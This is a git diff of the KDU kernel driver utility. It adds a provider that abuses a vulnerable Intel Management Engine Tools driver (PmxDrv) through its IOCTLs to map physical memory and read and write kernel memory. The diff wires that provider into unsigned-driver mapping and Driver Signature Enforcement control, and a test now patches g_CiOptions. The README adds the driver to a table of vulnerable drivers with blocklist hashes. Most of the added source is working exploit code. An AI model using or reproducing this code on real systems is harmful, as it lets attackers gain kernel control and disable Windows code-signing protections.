diff --git a/README.md b/README.md index b2dbd10..755faff 100644 --- a/README.md +++ b/README.md @@ -161,6 +161,7 @@ Note: Provider with Id 0 assumed as default if no -prv command is specified. | 49 | ASRock | AppShopDrv103 | ASRock APP Shop | 1.0.58 and below | | | 50 | ASRock | AsrDrv107n | ASRock Motherboard Utility | 3.0.498 and below | | | 51 | ASRock | AsrDrv107 | ASRock Motherboard Utility | 3.0.498 and below | | +| 52 | Intel | PmxDrv | Intel(R) Management Engine Tools Driver | 1.0.0.1003 and below | | MSFT blacklist types: * Cert - by certificate used to sign the driver which makes it possible to ban huge number of files at one time. @@ -222,6 +223,7 @@ MSFT blacklist types: |49|RWEverything||**File(SHA1):** 6074C2360F5DC74738873A525DFBD67EB6625986
**Authenticode(SHA1):** 03C523F31603C460076AD549F985DD9533734E95
**Page(SHA1):** 85B6FC43E943C9EB9B3DE1FF82A56870620CC1CF
**Page(SHA256):** A3AF7747FAC60B814FA6717B174F1199B9D163081B55AE40CEDD9983B6D033F5| |50|RWEverything||**File(SHA1):** 11D7E0D29AB17292FD43BDD5CCB7DA0403E50E52
**Authenticode(SHA1):** CA06D9FD91F7B681204B35975D5C069D0DABE276
**Page(SHA1):** B7693E1170B01F24A824892607C2258CA653805A
**Page(SHA256):** B8776F6889CF3D8252F0912DD9745F8EFF4513292DF2B2B1D484CDBC68FBAE4C| |51|RWEverything||**File(SHA1):** B1FAD5DA173C6A603FFFE20E0CB5F0BDCA823BD5
**Authenticode(SHA1):** 268073AD0B17E2161C1A2A6C5B1BDEBB7B3011B4
**Page(SHA1):** 0B48F35DAF8B8BC9BA4E413EF222415EAB791AE0
**Page(SHA256):** B073907634013A8EB65E4C8AA42535BAD08101E58B7B1489AEE395B7BE9C69E2| +|52|Original||**File(SHA1):** 9E5FCAEA33C9A181C56F7D0E4D9C42F8EDEAD252
**Authenticode(SHA1):** 7919108CB1278503EC4A78DD25694C6770EAA989
**Page(SHA1):** E1CE5A5E2CEB0AAD9CB588A900BF471462FAC42B
**Page(SHA256):** 6991344C8771FC717F878F9A6B0C258BC81FB3BF1F7F3CBED3EF8F86541B253F| ###### *At commit time, data maybe inaccurate. diff --git a/Source/Hamakaze/KDU.vcxproj b/Source/Hamakaze/KDU.vcxproj index 4561543..65ddcf2 100644 --- a/Source/Hamakaze/KDU.vcxproj +++ b/Source/Hamakaze/KDU.vcxproj @@ -159,7 +159,7 @@ - + @@ -222,7 +222,7 @@ - + diff --git a/Source/Hamakaze/KDU.vcxproj.filters b/Source/Hamakaze/KDU.vcxproj.filters index 2192227..6200bba 100644 --- a/Source/Hamakaze/KDU.vcxproj.filters +++ b/Source/Hamakaze/KDU.vcxproj.filters @@ -57,7 +57,7 @@ Source Files - + Source Files\idrv @@ -248,7 +248,7 @@ Header Files - + Source Files\idrv diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index b5542cb..fa8be83 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -1,11 +1,11 @@  - -prv 14 -map c:\install\dummy.sys + -test WindowsLocalDebugger - -prv 14 -map c:\install\dummy.sys + -prv 52 -map c:\install\dummy2.sys WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/idrv/nal.cpp b/Source/Hamakaze/idrv/intel.cpp similarity index 56% rename from Source/Hamakaze/idrv/nal.cpp rename to Source/Hamakaze/idrv/intel.cpp index 54ae70f..b325cf6 100644 --- a/Source/Hamakaze/idrv/nal.cpp +++ b/Source/Hamakaze/idrv/intel.cpp @@ -1,14 +1,17 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2023 +* (C) COPYRIGHT AUTHORS, 2020 - 2024 * -* TITLE: NAL.CPP +* TITLE: INTEL.CPP * -* VERSION: 1.31 +* VERSION: 1.42 * -* DATE: 14 Apr 2023 +* DATE: 01 Apr 2024 * -* Intel Network Adapter iQVM64 driver routines. +* Intel drivers routines. +* +* Network Adapter iQVM64 driver aka Nal +* Intel(R) Management Engine Tools Driver aka PmxDrv * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED @@ -18,7 +21,7 @@ *******************************************************************************/ #include "global.h" -#include "idrv/nal.h" +#include "idrv/intel.h" // // Based on https://www.exploit-db.com/exploits/36392 @@ -356,3 +359,323 @@ BOOL WINAPI NalReadVirtualMemoryEx( SetLastError(dwError); return bResult; } + +/* +* +* Intel ME driver +* +*/ + +/* +* PmxDrvMapMemory +* +* Purpose: +* +* Map physical memory through \Device\PhysicalMemory. +* +*/ +PVOID PmxDrvMapMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ ULONG NumberOfBytes) +{ + BOOL bHack = FALSE; + PVOID pvMappedMemory = NULL; + PMX_INPUT_BUFFER request; + PMX_MAPMEM_PACKET packet; + + request.InputSize = sizeof(request) + sizeof(PMX_MAPMEM_PACKET); + request.Padding = 0; + + packet.Size = sizeof(PMX_MAPMEM_PACKET); + packet.CommitSize = NumberOfBytes; + if (PhysicalAddress == 0) { //intel seems filters this + bHack = TRUE; + PhysicalAddress = 0x1; + } + + packet.SectionOffset.QuadPart = PhysicalAddress; + + request.Data = &packet; + + if (supCallDriver(DeviceHandle, + IOCTL_PMXDRV_MAP_MEMORY, + &request, + sizeof(request), + NULL, + 0)) + { + if (bHack) { + packet.SectionOffset.QuadPart &= 0xfff; + packet.Result -= packet.SectionOffset.QuadPart; + } + pvMappedMemory = (PVOID)packet.Result; + } + + return pvMappedMemory; +} + +/* +* PmxDrvUnmapMemory +* +* Purpose: +* +* Unmap previously mapped physical memory. +* +*/ +VOID PmxDrvUnmapMemory( + _In_ HANDLE DeviceHandle, + _In_ PVOID SectionToUnmap +) +{ + PMX_INPUT_BUFFER request; + PMX_UNMAPMEM_PACKET packet; + + request.InputSize = sizeof(request) + sizeof(PMX_UNMAPMEM_PACKET); + request.Padding = 0; + + RtlSecureZeroMemory(&packet, sizeof(packet)); + + packet.Address = SectionToUnmap; + packet.Size = sizeof(PMX_UNMAPMEM_PACKET); + + request.Data = &packet; + + supCallDriver(DeviceHandle, + IOCTL_PMXDRV_UNMAP_MEMORY, + &request, + sizeof(request), + NULL, + 0); +} + +/* +* PmxDrvReadWritePhysicalMemory +* +* Purpose: +* +* Read/Write physical memory. +* +*/ +BOOL WINAPI PmxDrvReadWritePhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes, + _In_ BOOLEAN DoWrite) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_SUCCESS; + PVOID mappedSection = NULL; + + // + // Map physical memory section. + // + mappedSection = PmxDrvMapMemory(DeviceHandle, + PhysicalAddress, + NumberOfBytes); + + if (mappedSection) { + + __try { + + if (DoWrite) { + RtlCopyMemory(mappedSection, Buffer, NumberOfBytes); + } + else { + RtlCopyMemory(Buffer, mappedSection, NumberOfBytes); + } + + bResult = TRUE; + } + __except (EXCEPTION_EXECUTE_HANDLER) { + bResult = FALSE; + dwError = GetExceptionCode(); + } + + // + // Unmap physical memory section. + // + PmxDrvUnmapMemory(DeviceHandle, + mappedSection); + + } + else { + dwError = GetLastError(); + } + + SetLastError(dwError); + return bResult; +} + +/* +* PmxDrvReadPhysicalMemory +* +* Purpose: +* +* Read from physical memory. +* +*/ +BOOL WINAPI PmxDrvReadPhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + return PmxDrvReadWritePhysicalMemory(DeviceHandle, + PhysicalAddress, + Buffer, + NumberOfBytes, + FALSE); +} + +/* +* PmxDrvWritePhysicalMemory +* +* Purpose: +* +* Write to physical memory. +* +*/ +BOOL WINAPI PmxDrvWritePhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + return PmxDrvReadWritePhysicalMemory(DeviceHandle, + PhysicalAddress, + Buffer, + NumberOfBytes, + TRUE); +} + +/* +* PmxDrvQueryPML4Value +* +* Purpose: +* +* Locate PML4. +* +*/ +BOOL WINAPI PmxDrvQueryPML4Value( + _In_ HANDLE DeviceHandle, + _Out_ ULONG_PTR* Value) +{ + ULONG_PTR pbLowStub1M = 0ULL, PML4 = 0; + + ULONG cbRead = 0x100000; + + *Value = 0; + + SetLastError(ERROR_SUCCESS); + + pbLowStub1M = (ULONG_PTR)PmxDrvMapMemory(DeviceHandle, + 0ULL, + cbRead); + + if (pbLowStub1M) { + + PML4 = supGetPML4FromLowStub1M(pbLowStub1M); + if (PML4) + *Value = PML4; + + PmxDrvUnmapMemory(DeviceHandle, + (PVOID)pbLowStub1M); + + } + + return (PML4 != 0); +} + +/* +* PmxDrvVirtualToPhysical +* +* Purpose: +* +* Translate virtual address to the physical. +* +*/ +BOOL WINAPI PmxDrvVirtualToPhysical( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress) +{ + return PwVirtualToPhysical(DeviceHandle, + PmxDrvQueryPML4Value, + PmxDrvReadPhysicalMemory, + VirtualAddress, + PhysicalAddress); +} + +/* +* PmxDrvReadKernelVirtualMemory +* +* Purpose: +* +* Read virtual memory. +* +*/ +BOOL WINAPI PmxDrvReadKernelVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult; + ULONG_PTR physicalAddress = 0; + + SetLastError(ERROR_SUCCESS); + + bResult = PmxDrvVirtualToPhysical(DeviceHandle, + Address, + &physicalAddress); + + if (bResult) { + + bResult = PmxDrvReadWritePhysicalMemory(DeviceHandle, + physicalAddress, + Buffer, + NumberOfBytes, + FALSE); + + } + + return bResult; +} + +/* +* PmxDrvWriteKernelVirtualMemory +* +* Purpose: +* +* Write virtual memory. +* +*/ +BOOL WINAPI PmxDrvWriteKernelVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult; + ULONG_PTR physicalAddress = 0; + + SetLastError(ERROR_SUCCESS); + + bResult = PmxDrvVirtualToPhysical(DeviceHandle, + Address, + &physicalAddress); + + if (bResult) { + + bResult = PmxDrvReadWritePhysicalMemory(DeviceHandle, + physicalAddress, + Buffer, + NumberOfBytes, + TRUE); + + } + + return bResult; +} diff --git a/Source/Hamakaze/idrv/nal.h b/Source/Hamakaze/idrv/intel.h similarity index 61% rename from Source/Hamakaze/idrv/nal.h rename to Source/Hamakaze/idrv/intel.h index c5a2ca6..70cf79e 100644 --- a/Source/Hamakaze/idrv/nal.h +++ b/Source/Hamakaze/idrv/intel.h @@ -1,14 +1,17 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2021 +* (C) COPYRIGHT AUTHORS, 2020 - 2024 * -* TITLE: NAL.H +* TITLE: INTEL.H * -* VERSION: 1.10 +* VERSION: 1.42 * -* DATE: 15 Apr 2021 +* DATE: 01 Apr 2024 * -* Intel Network Adapter iQVM64 driver interface header. +* Intel drivers interface header. +* +* Network Adapter iQVM64 driver aka Nal +* Intel(R) Management Engine Tools Driver * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED @@ -70,6 +73,39 @@ typedef struct _NAL_UNMAP_IO_SPACE { ULONG NumberOfBytes; } NAL_UNMAP_IO_SPACE, * PNAL_UNMAP_IO_SPACE; +// +// Intel ME driver. +// +#define PMXDRV_MAP_FUNCID (DWORD)0xAAE +#define PMXDRV_UNMAP_FUNCID (DWORD)0xAAF + +#define IOCTL_PMXDRV_MAP_MEMORY \ + CTL_CODE(FILE_DEVICE_UNKNOWN, PMXDRV_MAP_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x00222AB8 + +#define IOCTL_PMXDRV_UNMAP_MEMORY \ + CTL_CODE(FILE_DEVICE_UNKNOWN, PMXDRV_UNMAP_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x00222ABC + +#include +typedef struct _PMX_MAPMEM_PACKET { + ULONG Size; + LARGE_INTEGER SectionOffset; + UINT32 CommitSize; + UINT64 Result; +} PMX_MAPMEM_PACKET, * PPMX_MAPMEM_PACKET; +#include + +typedef struct _PMX_UNMAPMEM_PACKET { + ULONG Size; + ULONG Reserved0[2]; + PVOID Address; +} PMX_UNMAPMEM_PACKET, * PPMX_UNMAPMEM_PACKET; + +typedef struct _PMX_INPUT_BUFFER { + PVOID Data; + ULONG InputSize; + ULONG Padding; +} PMX_INPUT_BUFFER, * PPMX_INPUT_BUFFER; + BOOL NalCallDriver( _In_ HANDLE DeviceHandle, _In_ PVOID Buffer, @@ -118,3 +154,36 @@ BOOL WINAPI NalWriteVirtualMemoryEx( _In_ ULONG_PTR VirtualAddress, _In_reads_bytes_(NumberOfBytes) PVOID Buffer, _In_ ULONG NumberOfBytes); + +BOOL WINAPI PmxDrvQueryPML4Value( + _In_ HANDLE DeviceHandle, + _Out_ ULONG_PTR* Value); + +BOOL WINAPI PmxDrvVirtualToPhysical( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress); + +BOOL WINAPI PmxDrvReadPhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI PmxDrvWritePhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI PmxDrvReadKernelVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI PmxDrvWriteKernelVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index c3e4b12..67c6d2d 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2023 +* (C) COPYRIGHT AUTHORS, 2020 - 2024 * * TITLE: KDUPLIST.H * -* VERSION: 1.41 +* VERSION: 1.42 * -* DATE: 17 Dec 2023 +* DATE: 01 Apr 2024 * * Providers global list. * @@ -19,7 +19,7 @@ #pragma once -#include "idrv/nal.h" +#include "idrv/intel.h" #include "idrv/rtcore.h" #include "idrv/mapmem.h" #include "idrv/atszio.h" @@ -1442,6 +1442,32 @@ static KDU_PROVIDER g_KDUProviders[] = (provValidatePrerequisites)NULL, + (provOpenProcess)NULL + }, + + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)NULL, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)KDUProviderPostOpen, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE, + + (provReadKernelVM)PmxDrvReadKernelVirtualMemory, + (provWriteKernelVM)PmxDrvWriteKernelVirtualMemory, + + (provVirtualToPhysical)PmxDrvVirtualToPhysical, + (provQueryPML4)PmxDrvQueryPML4Value, + (provReadPhysicalMemory)PmxDrvReadPhysicalMemory, + (provWritePhysicalMemory)PmxDrvWritePhysicalMemory, + + (provValidatePrerequisites)NULL, + (provOpenProcess)NULL } diff --git a/Source/Hamakaze/res/SB_SMBUS_SDK.bin b/Source/Hamakaze/res/SB_SMBUS_SDK.bin index 9b46c61..56d4eef 100644 Binary files a/Source/Hamakaze/res/SB_SMBUS_SDK.bin and b/Source/Hamakaze/res/SB_SMBUS_SDK.bin differ diff --git a/Source/Hamakaze/res/Taigei32.bin b/Source/Hamakaze/res/Taigei32.bin index 35062b9..b892e4d 100644 Binary files a/Source/Hamakaze/res/Taigei32.bin and b/Source/Hamakaze/res/Taigei32.bin differ diff --git a/Source/Hamakaze/resource.rc b/Source/Hamakaze/resource.rc index ca8a594..e32e49a 100644 --- a/Source/Hamakaze/resource.rc +++ b/Source/Hamakaze/resource.rc @@ -51,8 +51,8 @@ END // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,4,1,2403 - PRODUCTVERSION 1,4,1,2403 + FILEVERSION 1,4,2,2404 + PRODUCTVERSION 1,4,2,2404 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -69,12 +69,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility" - VALUE "FileVersion", "1.4.1.2403" + VALUE "FileVersion", "1.4.2.2404" VALUE "InternalName", "Hamakaze.exe" VALUE "LegalCopyright", "Copyright (C) 2020 - 2024 KDU Project" VALUE "OriginalFilename", "Hamakaze.exe" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.4.1.2403" + VALUE "ProductVersion", "1.4.2.2404" END END BLOCK "VarFileInfo" diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index c1b68c4..bea6efa 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2023 +* (C) COPYRIGHT AUTHORS, 2020 - 2024 * * TITLE: TESTS.CPP * -* VERSION: 1.41 +* VERSION: 1.42 * -* DATE: 10 Dec 2023 +* DATE: 01 Apr 2024 * * KDU tests. * @@ -57,7 +57,7 @@ VOID KDUTestLoad() VOID KDUTestDSE(PKDU_CONTEXT Context) { - ULONG_PTR g_CiOptions = 0xfffff8064063a438;//need update + ULONG_PTR g_CiOptions = 0xfffff80031e3a478;//need update ULONG_PTR oldValue = 0, newValue = 0x0, testValue = 0; KDU_PROVIDER* prov = Context->Provider; @@ -188,7 +188,7 @@ VOID KDUTest() // KDUTestLoad(); // TestSymbols(); - Context = KDUProviderCreate(50, + Context = KDUProviderCreate(KDU_PROVIDER_INTEL_PMXDRV, FALSE, NT_WIN10_20H1, KDU_SHELLCODE_V1, @@ -196,8 +196,8 @@ VOID KDUTest() if (Context) { - TestBrute(Context); - //KDUTestDSE(Context); + //TestBrute(Context); + KDUTestDSE(Context); KDUProviderRelease(Context); } diff --git a/Source/Shared/consts.h b/Source/Shared/consts.h index f44be6c..4badb15 100644 --- a/Source/Shared/consts.h +++ b/Source/Shared/consts.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.41 +* VERSION: 1.42 * -* DATE: 30 Mar 2024 +* DATE: 01 Apr 2024 * * Global consts. * @@ -21,8 +21,8 @@ #define KDU_VERSION_MAJOR 1 #define KDU_VERSION_MINOR 4 -#define KDU_VERSION_REVISION 1 -#define KDU_VERSION_BUILD 2403 +#define KDU_VERSION_REVISION 2 +#define KDU_VERSION_BUILD 2404 #define KDU_COPYRIGHT_YEAR 2024 #define KDU_MIN_NTBUILDNUMBER 0x1DB1 //Windows 7 SP1 @@ -30,7 +30,7 @@ #define IPC_GET_HANDLE 0x1337 -#define KDU_SYNC_MUTANT 0x2403 +#define KDU_SYNC_MUTANT 0x2404 #define NT_REG_PREP L"\\Registry\\Machine" #define DRIVER_REGKEY L"%wS\\System\\CurrentControlSet\\Services\\%wS" @@ -154,6 +154,7 @@ #define IDR_ASROCKAPPSHOP103 151 #define IDR_ASROCKDRV3 152 #define IDR_ASROCKDRV4 153 +#define IDR_PMXDRV64 154 // // Vulnerable drivers providers id @@ -210,6 +211,7 @@ #define KDU_PROVIDER_ASROCK3 49 #define KDU_PROVIDER_ASROCK4 50 #define KDU_PROVIDER_ASROCK5 51 +#define KDU_PROVIDER_INTEL_PMXDRV 52 #define KDU_PROVIDER_DEFAULT KDU_PROVIDER_INTEL_NAL diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index 1244cfe..4b8a004 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -167,6 +167,7 @@ true /NOCOFFGRPINFO %(AdditionalOptions) + UseLinkTimeCodeGeneration @@ -231,6 +232,7 @@ + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index 8ae8135..cc1eece 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -217,6 +217,9 @@ Resource Files + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index d5f0fe4..e88529f 100644 Binary files a/Source/Tanikaze/data/AsusCertService.bin and b/Source/Tanikaze/data/AsusCertService.bin differ diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index 7dc46a1..d681fea 100644 Binary files a/Source/Tanikaze/data/KMUEXE.bin and b/Source/Tanikaze/data/KMUEXE.bin differ diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index b7396d0..275f657 100644 --- a/Source/Tanikaze/data/KMUSIG.bin +++ b/Source/Tanikaze/data/KMUSIG.bin @@ -1,2 +1,2 @@ -7RMz,]qq>Vf[&S>oְkFzQy,-ҷ}eI8q^g0^r*(a7p}?4FjB\0K$1g^퉄bV`ʹ%뇱7*֯>wi +74~hz,]qq>Vf[&S>oְkFzQy,-ҷ}eI8q^g0^r*(a7p}?4FjB\0K$1g^퉄bV`ʹ%뇱7*֯>wi mV?SH/08H ] \ No newline at end of file diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index e462787..593931d 100644 Binary files a/Source/Tanikaze/data/dbutilcat.bin and b/Source/Tanikaze/data/dbutilcat.bin differ diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index 4baa41e..5adf4e2 100644 Binary files a/Source/Tanikaze/data/dbutilinf.bin and b/Source/Tanikaze/data/dbutilinf.bin differ diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin index d51264b..741eb1e 100644 Binary files a/Source/Tanikaze/drv/ALSysIO64.bin and b/Source/Tanikaze/drv/ALSysIO64.bin differ diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin index 6dd6fed..9c12716 100644 Binary files a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin and b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin differ diff --git a/Source/Tanikaze/drv/AODDriver215.bin b/Source/Tanikaze/drv/AODDriver215.bin index 7e6984e..2f4456c 100644 Binary files a/Source/Tanikaze/drv/AODDriver215.bin and b/Source/Tanikaze/drv/AODDriver215.bin differ diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin index db0d494..590fbb6 100644 Binary files a/Source/Tanikaze/drv/ATSZIO64.bin and b/Source/Tanikaze/drv/ATSZIO64.bin differ diff --git a/Source/Tanikaze/drv/AppShopDrv103.bin b/Source/Tanikaze/drv/AppShopDrv103.bin index 18ac56f..ea0a6ce 100644 Binary files a/Source/Tanikaze/drv/AppShopDrv103.bin and b/Source/Tanikaze/drv/AppShopDrv103.bin differ diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index 4f6abfb..69eb950 100644 Binary files a/Source/Tanikaze/drv/AsIO3.bin and b/Source/Tanikaze/drv/AsIO3.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin index e05785c..cd41fdb 100644 Binary files a/Source/Tanikaze/drv/AsrDrv106.bin and b/Source/Tanikaze/drv/AsrDrv106.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv107.bin b/Source/Tanikaze/drv/AsrDrv107.bin index d3150ae..5b0f7dd 100644 Binary files a/Source/Tanikaze/drv/AsrDrv107.bin and b/Source/Tanikaze/drv/AsrDrv107.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv107n.bin b/Source/Tanikaze/drv/AsrDrv107n.bin index d689159..26eceb8 100644 Binary files a/Source/Tanikaze/drv/AsrDrv107n.bin and b/Source/Tanikaze/drv/AsrDrv107n.bin differ diff --git a/Source/Tanikaze/drv/AxtuDrv.bin b/Source/Tanikaze/drv/AxtuDrv.bin index fe39ba3..28ea05e 100644 Binary files a/Source/Tanikaze/drv/AxtuDrv.bin and b/Source/Tanikaze/drv/AxtuDrv.bin differ diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index c85223c..7adeff1 100644 Binary files a/Source/Tanikaze/drv/DbUtil2_3.bin and b/Source/Tanikaze/drv/DbUtil2_3.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin index 38c24bc..0f36a02 100644 Binary files a/Source/Tanikaze/drv/DirectIo64.bin and b/Source/Tanikaze/drv/DirectIo64.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin index e694a75..b46b6a2 100644 Binary files a/Source/Tanikaze/drv/DirectIo64_2.bin and b/Source/Tanikaze/drv/DirectIo64_2.bin differ diff --git a/Source/Tanikaze/drv/EneIo64.bin b/Source/Tanikaze/drv/EneIo64.bin index a7fe15b..38312ac 100644 Binary files a/Source/Tanikaze/drv/EneIo64.bin and b/Source/Tanikaze/drv/EneIo64.bin differ diff --git a/Source/Tanikaze/drv/EneTechIo64.bin b/Source/Tanikaze/drv/EneTechIo64.bin index 9d7b3eb..693e9d2 100644 Binary files a/Source/Tanikaze/drv/EneTechIo64.bin and b/Source/Tanikaze/drv/EneTechIo64.bin differ diff --git a/Source/Tanikaze/drv/GLCKIO2.bin b/Source/Tanikaze/drv/GLCKIO2.bin index ee1dee1..cbbb8d4 100644 Binary files a/Source/Tanikaze/drv/GLCKIO2.bin and b/Source/Tanikaze/drv/GLCKIO2.bin differ diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index 6786911..856c5b8 100644 Binary files a/Source/Tanikaze/drv/HW64.bin and b/Source/Tanikaze/drv/HW64.bin differ diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin index 4841de7..aa2a162 100644 Binary files a/Source/Tanikaze/drv/KExplore.bin and b/Source/Tanikaze/drv/KExplore.bin differ diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin index cb87a47..ba3a723 100644 Binary files a/Source/Tanikaze/drv/KObjExp.bin and b/Source/Tanikaze/drv/KObjExp.bin differ diff --git a/Source/Tanikaze/drv/KRegExp.bin b/Source/Tanikaze/drv/KRegExp.bin index e1c577d..95aaf0b 100644 Binary files a/Source/Tanikaze/drv/KRegExp.bin and b/Source/Tanikaze/drv/KRegExp.bin differ diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin index a9d13f1..e4fccc0 100644 Binary files a/Source/Tanikaze/drv/LDD.bin and b/Source/Tanikaze/drv/LDD.bin differ diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin index 15b0f6a..54e7c63 100644 Binary files a/Source/Tanikaze/drv/MsIo64.bin and b/Source/Tanikaze/drv/MsIo64.bin differ diff --git a/Source/Tanikaze/drv/PdFwKrnl.bin b/Source/Tanikaze/drv/PdFwKrnl.bin index 04c9705..a845203 100644 Binary files a/Source/Tanikaze/drv/PdFwKrnl.bin and b/Source/Tanikaze/drv/PdFwKrnl.bin differ diff --git a/Source/Tanikaze/drv/PhyDMACC.bin b/Source/Tanikaze/drv/PhyDMACC.bin index ecb3b61..a480a5d 100644 Binary files a/Source/Tanikaze/drv/PhyDMACC.bin and b/Source/Tanikaze/drv/PhyDMACC.bin differ diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index a528543..fded3de 100644 Binary files a/Source/Tanikaze/drv/Phymemx64.bin and b/Source/Tanikaze/drv/Phymemx64.bin differ diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index 00ff7e3..f35461f 100644 Binary files a/Source/Tanikaze/drv/RTCore64.bin and b/Source/Tanikaze/drv/RTCore64.bin differ diff --git a/Source/Tanikaze/drv/SysDrv3S.bin b/Source/Tanikaze/drv/SysDrv3S.bin index 1c1e85e..a93a308 100644 Binary files a/Source/Tanikaze/drv/SysDrv3S.bin and b/Source/Tanikaze/drv/SysDrv3S.bin differ diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index 8897a06..a8c9562 100644 